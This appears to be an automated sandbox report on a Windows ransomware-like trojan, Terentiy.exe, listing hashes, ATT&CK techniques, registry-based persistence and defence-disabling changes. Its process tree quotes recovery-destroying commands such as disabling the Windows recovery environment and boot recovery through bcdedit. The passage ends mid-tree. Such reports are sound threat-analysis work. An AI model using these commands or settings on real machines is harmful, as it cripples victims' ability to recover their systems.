4a7567f06f698f1b4ff670e68f899da8416c9799ce791c63a43cd40f73aafa12

Analysis

user interaction
yes
max time kernel
1s
max time network
10s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
14/08/2026, 16:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Terentiy.exe
Size 3.5MB
Sample260814-vhsrtaxfmc
SHA256 4a7567f06f698f1b4ff670e68f899da8416c9799ce791c63a43cd40f73aafa12
MD5 4afa847a6650d601f6ed613bd15b6a47
SHA1 c44862aa060b9690b53a1d39f2cdd52179506c7a
SHA512 7b0548d721771aed9d3932e0a28a974d9bf71e1da282315191ed875cac2f0ed54d3294b62fc8c885e6b6a04a7853ba68b4409bf34a0cb8c23b9f290cea3306a9
SSDEEP 49152:Tsp/Yx6lMQ+pLxrBdJdvd1dWdkdyS0m3WAZcS5huGvYontIz0Q6:wVLsjZcS5huGvYontIz0Q6
TLSH
T1AB06F65369DB0CE9CED667B8A5C76235A338FD71CA291F2BA604C1313C536C06E6EB50
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution exploit impact persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Terentiy.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Terentiy.exe

Clears Windows event logs 1 TTPs 6 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
60	wevtutil.exe
4724	wevtutil.exe
216	wevtutil.exe
5088	wevtutil.exe
2588	wevtutil.exe
1940	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 8 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2184	bcdedit.exe
4928	bcdedit.exe
3412	bcdedit.exe
4072	bcdedit.exe
1920	bcdedit.exe
2244	bcdedit.exe
2184	bcdedit.exe
3316	bcdedit.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2356	wbadmin.exe
5084	wbadmin.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	Terentiy.exe

Disables Task Manager via registry modification
defense_evasion

Disables cmd.exe use via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	Terentiy.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 8 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	Terentiy.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	Terentiy.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	Terentiy.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	Terentiy.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
544	netsh.exe
4116	netsh.exe

Possible privilege escalation attempt 52 IoCs

exploit

pid	Process
1832	takeown.exe
4516	icacls.exe
3296	icacls.exe
3192	takeown.exe
2576	takeown.exe
3412	icacls.exe
1428	icacls.exe
4028	icacls.exe
4860	takeown.exe
416	takeown.exe
2372	icacls.exe
4028	takeown.exe
3300	takeown.exe
1116	icacls.exe
4856	takeown.exe
2556	takeown.exe
4280	takeown.exe
2356	icacls.exe
2216	icacls.exe
5080	icacls.exe
4020	icacls.exe
748	takeown.exe
1912	takeown.exe
4600	icacls.exe
3668	takeown.exe
4208	takeown.exe
4152	icacls.exe
1016	icacls.exe
4600	takeown.exe
3708	takeown.exe
1940	icacls.exe
3612	takeown.exe
4172	icacls.exe
296	icacls.exe
1032	icacls.exe
1916	icacls.exe
2964	takeown.exe
748	takeown.exe
4648	takeown.exe
4724	icacls.exe
4116	takeown.exe
420	takeown.exe
4428	icacls.exe
2080	takeown.exe
3284	icacls.exe
1116	takeown.exe
2216	takeown.exe
308	icacls.exe
1340	icacls.exe
1332	takeown.exe
1016	icacls.exe
1788	icacls.exe

Uses Session Manager for persistence 2 TTPs 1 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 6100750074006f0063006800650063006b0020006100750074006f00630068006b0020002a00000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c00570069006e005300790073004d006f006e00690074006f0072002e0065007800650000000000	Terentiy.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	Terentiy.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 1 IoCs

pid	Process
4820	Terentiy.exe

Modifies file permissions 1 TTPs 52 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1016	icacls.exe
4724	icacls.exe
4028	icacls.exe
4860	takeown.exe
1032	icacls.exe
3708	takeown.exe
2576	takeown.exe
3284	icacls.exe
4116	takeown.exe
4516	icacls.exe
296	icacls.exe
2080	takeown.exe
748	takeown.exe
2356	icacls.exe
1332	takeown.exe
1940	icacls.exe
4280	takeown.exe
1912	takeown.exe
416	takeown.exe
4600	icacls.exe
1916	icacls.exe
2964	takeown.exe
3412	icacls.exe
4856	takeown.exe
5080	icacls.exe
2556	takeown.exe
1832	takeown.exe
748	takeown.exe
4428	icacls.exe
4152	icacls.exe
1340	icacls.exe
4600	takeown.exe
4020	icacls.exe
4172	icacls.exe
3296	icacls.exe
2372	icacls.exe
308	icacls.exe
1428	icacls.exe
1116	icacls.exe
2216	takeown.exe
1788	icacls.exe
420	takeown.exe
4208	takeown.exe
3192	takeown.exe
4028	takeown.exe
3300	takeown.exe
1016	icacls.exe
3668	takeown.exe
3612	takeown.exe
2216	icacls.exe
4648	takeown.exe
1116	takeown.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateManager = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\3D Objects\desktop.ini	Terentiy.exe
File created	F:\$RECYCLE.BIN\S-1-5-21-3054922120-1500138384-519748408-1000\desktop.ini	Terentiy.exe
File created	C:\Users\Admin\3D Objects\desktop.ini	Terentiy.exe
File created	F:\$RECYCLE.BIN\S-1-5-21-3054922120-1500138384-519748408-1000\desktop.ini	Terentiy.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Maps connected drives based on registry 3 TTPs 4 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	Terentiy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	Terentiy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	Terentiy.exe

Checks system information in the registry 2 TTPs 4 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	Terentiy.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\WinSysMonitor.exe	Terentiy.exe
File opened for modification	C:\Windows\system32\WinSysMonitor.exe	Terentiy.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
472	cmd.exe
2060	cmd.exe
2588	cmd.exe
4072	cmd.exe
3248	cmd.exe
4864	cmd.exe
2304	cmd.exe
2876	cmd.exe
4752	cmd.exe
3496	cmd.exe
4352	cmd.exe
920	cmd.exe
1876	cmd.exe
2276	cmd.exe
2960	cmd.exe
3304	cmd.exe
3260	cmd.exe
4620	cmd.exe
3864	cmd.exe
2476	cmd.exe
4992	cmd.exe
3340	cmd.exe
1912	cmd.exe
2408	cmd.exe
2600	cmd.exe
4628	cmd.exe
2040	cmd.exe
3088	cmd.exe
2980	cmd.exe
4340	cmd.exe
972	cmd.exe
4508	cmd.exe
8	cmd.exe
2700	cmd.exe
1792	cmd.exe
4592	cmd.exe
1540	cmd.exe
3912	cmd.exe
3832	cmd.exe
2752	cmd.exe
3644	cmd.exe
692	cmd.exe
2584	cmd.exe
2364	cmd.exe
4320	cmd.exe
3960	cmd.exe
4288	cmd.exe
3520	cmd.exe
3348	cmd.exe
4128	cmd.exe
2056	cmd.exe
3092	cmd.exe
2468	cmd.exe
4980	cmd.exe
4460	cmd.exe
5060	cmd.exe
2156	cmd.exe
4524	cmd.exe
1716	cmd.exe
2940	cmd.exe
2524	cmd.exe
2544	cmd.exe
4380	cmd.exe
1208	cmd.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Terentiy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Terentiy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Terentiy.exe

Enumerates system info in registry 2 TTPs 26 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Manufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BaseBoardProduct	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Model	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemModel	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BaseBoardManufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Manufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	Terentiy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardManufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\Manufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Model	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemModel	Terentiy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardManufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BaseBoardProduct	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\Manufacturer	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct	Terentiy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BaseBoardManufacturer	Terentiy.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2524	vssadmin.exe
2552	vssadmin.exe

Modifies data under HKEY_USERS 30 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "1"	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1"	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff = "1"	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32	Terentiy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32\ThreadingModel = "Apartment"	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}	Terentiy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32\ThreadingModel = "Apartment"	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive = "67108863"	Terentiy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32	Terentiy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies	Terentiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	Terentiy.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID	Terentiy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32\ThreadingModel = "Apartment"	Terentiy.exe
Key created	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32	Terentiy.exe
Key created	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}	Terentiy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Key created	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32	Terentiy.exe
Key created	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}	Terentiy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Terentiy.exe"	Terentiy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32\ThreadingModel = "Apartment"	Terentiy.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1776	schtasks.exe
4560	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
392	Terentiy.exe
392	Terentiy.exe
4820	Terentiy.exe
4820	Terentiy.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
392	Terentiy.exe
4820	Terentiy.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
392	Terentiy.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 392 wrote to memory of 3304	392	Terentiy.exe	83
PID 392 wrote to memory of 3832	392	Terentiy.exe	84
PID 4820 wrote to memory of 2752	4820	Terentiy.exe	88
PID 4820 wrote to memory of 3880	4820	Terentiy.exe	90
PID 4820 wrote to memory of 2600	4820	Terentiy.exe	92
PID 392 wrote to memory of 3644	392	Terentiy.exe	94
PID 392 wrote to memory of 3496	392	Terentiy.exe	96
PID 392 wrote to memory of 2804	392	Terentiy.exe	98
PID 4820 wrote to memory of 3176	4820	Terentiy.exe	99
PID 392 wrote to memory of 3260	392	Terentiy.exe	102
PID 392 wrote to memory of 692	392	Terentiy.exe	104
PID 3832 wrote to memory of 2904	3832	cmd.exe	389
PID 392 wrote to memory of 2156	392	Terentiy.exe	106
PID 392 wrote to memory of 2364	392	Terentiy.exe	109
PID 3304 wrote to memory of 4980	3304	cmd.exe	174
PID 392 wrote to memory of 4620	392	Terentiy.exe	112
PID 4820 wrote to memory of 4380	4820	Terentiy.exe	114
PID 3880 wrote to memory of 4552	3880	cmd.exe	115
PID 392 wrote to memory of 3092	392	Terentiy.exe	117
PID 2600 wrote to memory of 4188	2600	cmd.exe	119
PID 392 wrote to memory of 4320	392	Terentiy.exe	120
PID 4820 wrote to memory of 4352	4820	Terentiy.exe	122
PID 392 wrote to memory of 3864	392	Terentiy.exe	124
PID 4820 wrote to memory of 920	4820	Terentiy.exe	125
PID 2752 wrote to memory of 1776	2752	cmd.exe	127
PID 392 wrote to memory of 2700	392	Terentiy.exe	129

System policy modification 1 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Terentiy.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Terentiy.exe

C:\Users\Admin\AppData\Local\Temp\Terentiy.exe
"C:\Users\Admin\AppData\Local\Temp\Terentiy.exe"
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Event Triggered Execution: Image File Execution Options Injection
- Uses Session Manager for persistence
- Checks computer location settings
- Adds Run key to start application
- Drops desktop.ini file(s)
- Maps connected drives based on registry
- Checks system information in the registry
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reagentc /disable >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:4980
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c mountvol Z: /S >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3832
- - C:\Windows\system32\mountvol.exe
    mountvol Z: /S
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reagentc /disable >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3644
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3496
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>&1
  2⤵
  PID:2804
- - C:\Windows\system32\bcdedit.exe
